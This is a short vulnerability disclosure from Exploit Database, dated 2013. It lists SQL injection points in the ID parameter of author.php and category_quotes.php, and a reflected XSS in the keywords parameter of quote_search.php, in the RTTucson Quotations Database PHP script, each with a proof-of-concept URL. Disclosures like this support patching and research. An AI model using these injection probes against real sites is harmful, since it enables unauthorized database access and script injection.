RTTucson Quotations Database – Multiple Vulnerabilities

• Exploit Database
• 14 阅读

• 作者： 3spi0n
  日期： 2013-02-20
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/24522/

• ##################################################################################
   ________
  / /___ _____(_)_____________ ______(_)_______ / __ \_________ _
   __/ / __ `/ __ \/ / ___/ ___/ __ `/ ___/ / _ \/ ___// / / / ___/ __ `/
  / /_/ / /_/ / / / / (__|__) /_/ / // /__(__)/ /_/ / // /_/ / 
  \____/\__,_/_/ /_/_/____/____/\__,_/_//_/\___/____(_)____/_/ \__, /
  /____/ 
  ##################################################################################																
  RTTucson Quotations Database Script, Multiple Vulnerabilities
  Software Page: http://www.rttucson.com/index.html
  Script Demo: http://www.rttucson.com/quotations/default.php
  
  Author(Pentester): 3spi0n
  On Social: Twitter.Com/eyyamgudeer
  Greetz: Grayhatz Inc. and Janissaries Platform.
  ##################################################################################
  
  [~] MySQL Injection on Demo Site 
  
  [+] (author.php, ID Param)
  >>> http://server/quotations/author.php?ID=5' (MySQLi Found)
  
  [+] (category_quotes.php, ID Param)
  >>> http://server/quotations/category_quotes.php?ID=9' (MySQLi Found)
  
  [~] XSS on Demo Site
  
  >> (quote_search.php, keywords Param)
  >>> http://server/quotations/quote_search.php?keywords=<h1>Xssed-3spi0n</h1>